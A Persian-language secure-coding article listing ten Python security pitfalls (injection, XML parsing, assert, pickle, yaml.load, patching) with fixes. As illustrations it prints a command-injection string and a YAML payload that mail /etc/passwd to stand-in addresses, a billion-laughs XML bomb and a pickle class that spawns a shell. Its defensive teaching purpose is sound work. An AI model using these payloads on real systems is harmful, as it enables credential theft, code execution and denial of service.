10 مشکل امنیتی برای پایتونی‌ها

امیرحسین بیگدلو 5 ماه قبل

 

نوشتن کد امن سخت است. وقتی یک زبان ، یک ماژول یا یک چارچوب را یاد می گیرید ، نحوه استفاده از آن را یاد می گیرید. وقتی به امنیت فکر می کنید ، باید در مورد نحوه سوء استفاده از آن فکر کنید. پایتون نیز از این قاعده مستثنی نیست ، حتی در کتابخانه استاندارد نیز شیوه های بدی برای نوشتن برنامه های سخت شده وجود دارد. با این حال ، وقتی با بسیاری از توسعه دهندگان پایتون صحبت کردم ، آنها به سادگی از آنها مطلع نیستند.

 

دوره پیشنهادی: دوره آموزش امنیت در وب

 

 1.  Input injection

حملات تزریقی گسترده و واقعاً شایع هستند و انواع زیادی از تزریق وجود دارد. آنها بر همه زبان ها، چارچوب ها و محیط ها تأثیر می گذارند.

 

تزریق SQL جایی است که شما به جای استفاده از ORM و مخلوط کردن لغات رشته ای خود با متغیرها، درخواست های SQL را مستقیماً می نویسید. مقدار زیادی کد خوانده ام که در آن "escaping quotes" یک راه حل برای این مشکل است اما اینطور نیست. sql injection روش های مختلفی دارد که در اینجا میتوانید با تمام روشهای پیچیده تزریق SQL، آشنا شوید.

 

تزریق command زمانی است که با استفاده از popen ، subprocess ، os.system و گرفتن آرگومان از متغیرها یک فرایند را فراخوانی می کنید. هنگام فراخوانی دستورات محلی این احتمال وجود دارد که شخصی این مقادیر را بر روی چیزی مخرب قرار دهد.

 

این اسکریپت ساده را تصور کنید. شما یک فرایند فرعی با نام فایل که توسط کاربر ارائه شده است فرا می خوانید:

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

 

تصور کنید فرد مخرب کد "; cat /etc/passwd | mail them@domain.com را وارد کند.

 

راه حل:

اگر از چارچوب وب استفاده می کنید، به طور اتوماتیک ورودی را ضد عفونی(Sanitise) میکند. query های SQL را به صورت دستی اجرا نکنید، مگر اینکه دلیل خوبی داشته باشید. اکثر ORM ها روشهای ضدعفونی کننده داخلی دارند.

 

برای shell، از ماژول shlex برای ضدعفونی صحیح ورودی استفاده کنید.

 

مقاله پیشنهادی: importهای مطلق و نسبی در پایتون

 

 2.  Parsing XML

اگر برنامه شما فایل های XML را بارگیری و تجزیه می کند، احتمالاً از یکی از ماژول های کتابخانه استاندارد XML استفاده می کنید. چند حمله رایج از طریق XML وجود دارد. بیشتر به سبک DoS (برای خراب کردن سیستم ها به جای حذف اطلاعات) طراحی شده است. این حملات رایج هستند، به خصوص اگر فایل های XML خارجی (یعنی غیرقابل اعتماد) را تجزیه می کنید.

 

یکی از آنها "میلیارد خنده(billion laughs)" نامیده می شود، زیرا بار معمولاً حاوی مقدار زیادی (میلیاردها) "lols" است. اساساً، ایده این است که شما می توانید نهادهای مرجع را در XML انجام دهید، بنابراین هنگامی که تجزیه کننده بی پروا XML شما سعی می کند این فایل XML را در حافظه بارگذاری کند، گیگابایت‌ها RAM مصرف می کند. اگر باور نمی کنید امتحان کنید :-)

 

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

 

حمله دیگر از گسترش موجودیت خارجی(external entity expansion) استفاده می کند. XML از ارجاع به اشخاص از نشانی های اینترنتی خارجی پشتیبانی می کند، تجزیه کننده XML معمولاً آن منبع را بدون هیچ تردیدی واکشی و بارگیری می کند. "یک مهاجم می تواند فایروال ها را دور بزند و به منابع محدود دسترسی پیدا کند زیرا همه درخواست ها از یک آدرس IP داخلی و قابل اعتماد است، نه از خارج."

 

وضعیت دیگری که باید در نظر بگیرید بسته های شخص ثالث است که به رمزگشایی XML وابسته هستید، مانند فایل های پیکربندی، API های راه دور. ممکن است حتی آگاه نباشید که یکی از وابستگی های شما، کد را برای این نوع حملات باز می گذارد.

 

بنابراین در پایتون چه اتفاقی می افتد؟ خب، ماژول های کتابخانه استاندارد، etree ، DOM ، xmlrpc همه برای این نوع حملات باز هستند. این به خوبی مستند شده است

 

راه حل:

از defusedxml به عنوان جایگزینی برای ماژول های کتابخانه استاندارد استفاده کنید. در برابر این نوع حملات محافظت می کند.

 

ویدیو پیشنهادی: ویدیو آشنایی با assert در پایتون

 

 3.  Assert

برای محافظت در برابر قطعات کدی که کاربر نباید به آنها دسترسی داشته باشد، از عبارات assert استفاده نکنید. این مثال ساده را در نظر بگیرید:

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

 

به طور پیش فرض پایتون با __debug__ با مقدار True اجرا می شود، اما در یک محیط production معمول است که با بهینه سازی اجرا شود. با این کار از دستور assert صرف نظر شده و بدون در نظر گرفتن اینکه کاربر admin است یا خیر، مستقیماً به کد امن می رود.

 

راه حل:

فقط برای برقراری ارتباط با توسعه دهندگان دیگر، مانند تست کد یا محافظت در برابر استفاده نادرست از API، از عبارات assert استفاده کنید.

 

مقاله پیشنهادی: GIL پایتون چیست؟

 

 4.  Timing attacks

حملات زمان بندی اساساً راهی برای نشان دادن رفتار و الگوریتم با تعیین زمان مقایسه مقادیر ارائه شده است. حملات زمان بندی نیاز به دقت دارند، بنابراین معمولاً در یک شبکه از راه دور با تأخیر بالا کار نمی کنند. به دلیل تأخیر متغیر در اکثر برنامه های وب، نوشتن حمله زمان بندی بر روی سرورهای وب HTTP تقریباً غیرممکن است.

 

اما، اگر یک برنامه خط فرمان دارید که رمز عبور را درخواست می کند، مهاجم می تواند یک اسکریپت ساده بنویسد که چقدر طول می کشد تا ارزش خود را با راز واقعی مقایسه کند. مثال.

 

اگر می خواهید نحوه عملکرد آنها را ببینید، برخی از نمونه های قابل توجه مانند این حمله زمان بندی مبتنی بر SSH که در پایتون نوشته شده است، وجود دارد.

 

راه حل:

برای مقایسه گذرواژه ها و سایر مقادیر خصوصی از secrets.compare_digest که در پایتون 3.5 معرفی شده است استفاده کنید.

 

دوره پیشنهادی: دوره آموزش پایتون (python)

 

 5.  import path

سیستم import پایتون بسیار انعطاف پذیر است. وقتی سعی می کنید برای آزمایشات خود monkey-patches بنویسید یا عملکردهای اصلی را بیش از حد بار کنید، بسیار عالی است.

 

 اما، این یکی از بزرگترین حفره های امنیتی در پایتون است. 

 

نصب پکیج‌های شخص ثالث در بسته های سایت شما، چه در محیط مجازی و چه در بسته های global سایت (که عموماً توصیه نمیشود) شما را در معرض حفره های امنیتی این پکیج‌ها قرار می دهد.

 

مواردی وجود داشته است که پکیج هایی با نامهای مشابه بسته های رایج در PyPi منتشر می شوند، اما در عوض کد دلخواه را اجرا می کنند. بزرگترین حادثه، خوشبختانه مضر نبود و فقط "به این نکته اشاره کرد که مشکل واقعاً حل نشده است."

 

موقعیت دیگری که باید به آن فکر کنید وابستگی های وابستگی شما (و غیره) است. آنها می توانند شامل آسیب پذیری ها شوند و همچنین می توانند رفتار پیش فرض در پایتون را از طریق سیستم import نادیده بگیرند.

 

راه حل:

پکیج های خود را بررسی کنید به PyUp.io و سرویس امنیتی آنها نگاه کنید. از محیط های مجازی برای همه برنامه ها استفاده کنید و اطمینان حاصل کنید که بسته های سایت global شما تا حد ممکن تمیز است. امضاهای بسته را بررسی کنید.

 

 

 6.  Temporary files

برای ایجاد فایل های موقت در پایتون ، معمولاً نام فایل با استفاده از تابع mktemp () ایجاد می کنید و سپس با استفاده از این نام یک فایل ایجاد می کنید. "این امن نیست، زیرا ممکن است یک فرایند متفاوت در فاصله بین فراخوانی به mktemp () و تلاش بعدی برای ایجاد فایل توسط اولین فرایند، یک فایل با این نام ایجاد کند." [1] این بدان معناست که می تواند برنامه شما را در بارگیری داده های اشتباه یا افشای سایر داده های موقت فریب دهد.

 

در صورت فراخوانی روش نادرست، نسخه های اخیر پایتون هشدار زمان اجرا را اجرا می کند.

 

راه حل:

از ماژول tempfile استفاده کنید و در صورت نیاز به ایجاد فایل های موقت از mkstemp استفاده کنید.

 

 

 

 7.  yaml.load

نقل قول از مستندات PyYAML:

هشدار: کار با yaml.load با هرگونه داده ای که از منبع نامعتبر دریافت شده ایمن نیست! yaml.load به اندازه pickle.load قدرتمند است و بنابراین ممکن است هر تابع پایتون را فراخوانی کند.

 

این مثال زیبا در پروژه محبوب پایتون Ansible یافت شده است. شما می توانید Ansible Vault را با این مقدار به عنوان (معتبر) YAML ارائه دهید. با آرگومان های ارائه شده در فایل ، os.system () را فراخوانی می کند.

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

 

بنابراین، بارگذاری موثر فایل های YAML از مقادیر ارائه شده توسط کاربر، شما را برای حمله باز می کند.

 

راه حل:

تقریباً همیشه از yaml.safe_load استفاده کنید مگر اینکه دلیل خوبی داشته باشید.

 

ویدیو پیشنهادی: ویدیو آموزش ماژول pickle در پایتون

 

 8.  pickle

ضدعفونی کردن داده های pickle به اندازه YAML بد است. کلاس های پایتون می توانند یک متد جادویی به نام __reduce__ که یک رشته یا یک تپل را برمی گرداند، با قابلیت فراخوانی و آرگومان هایی که هنگام pickle کردن باید فراخوانی کنند، اعلام کنند. مهاجم می تواند از آن برای ارجاع به یکی از ماژول های فرایند فرعی برای اجرای دستورات دلخواه روی میزبان استفاده کند.

 

این مثال فوق العاده نشان می دهد که چگونه یک کلاس را که shellی در Python 2 باز می کند pickle کنید. مثال های بیشتری از نحوه استفاده از pickle وجود دارد.

 

import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

 

راه حل:

هرگز داده ها را از منبع نامعتبر یا بدون احراز هویت unpickle نکنید. به جای آن از الگوی سریال سازی دیگری مانند JSON استفاده کنید.

 

 

 9.  using the system python runtime and not patching it

اکثر سیستم های POSIX که دارای نسخه Python 2 هستند معمولاً یک سیستم قدیمی هستند.

 

از آنجا که "پایتون"، یعنی CPython با C نوشته شده است، مواقعی وجود دارد که مفسر پایتون خود دارای مشکل است. مسائل امنیتی رایج در C مربوط به تخصیص حافظه است.

 

CPython در طول این سالها دارای تعدادی آسیب پذیری overrun یا overflow بوده است که هر یک از آنها در نسخه های بعدی وصله شده و برطرف شده است.

 

بنابراین شما در امان هستید یعنی اگر زمان اجرای خود را وصله کنید.

 

در اینجا مثالی از 2.7.13 و زیر وجود دارد، یک آسیب پذیری سرریز عدد صحیح که اجرای کد را امکان پذیر می کند. این تقریباً هر نسخه بدون وصله اوبونتو pre-17 است.

 

راه حل:

آخرین نسخه پایتون را برای برنامه های خود نصب کرده و آن را وصله کنید!

 

ویدیو پیشنهادی: ویدیو آموزش ماژول pdb در پایتون

 

 10.  Not patching your dependancies

مشابه وصله نکردن زمان اجرا، شما همچنین باید مرتباً وابستگی های خود را وصله کنید.

 

به نظر من عمل "پین کردن" بسته های Python از PyPi در بسته ها وحشتناک است. ایده این است که "این نسخه هایی هستند که کار می کنند" بنابراین همه آن را تنها می گذارند.

 

همه آسیب پذیری های کدی که در بالا به آن اشاره کردم به همان اندازه مهم هستند که در بسته هایی که برنامه شما استفاده می کند وجود داشته باشند. توسعه دهندگان آن بسته ها مسائل امنیتی را برطرف می کنند. همیشه.

 

راه حل:

از یک سرویس مانند PyUp.io برای بررسی به روزرسانی ها، درخواست های pull/merge در برنامه خود استفاده کنید و آزمایشات خود را برای به روز نگه داشتن بسته ها انجام دهید.

 

از ابزاری مانند InSpec برای اعتبارسنجی نسخه های نصب شده در محیط های production و اطمینان از وصله حداقل نسخه ها یا محدوده نسخه ها استفاده کنید.

مطالب مشابه



مونگارد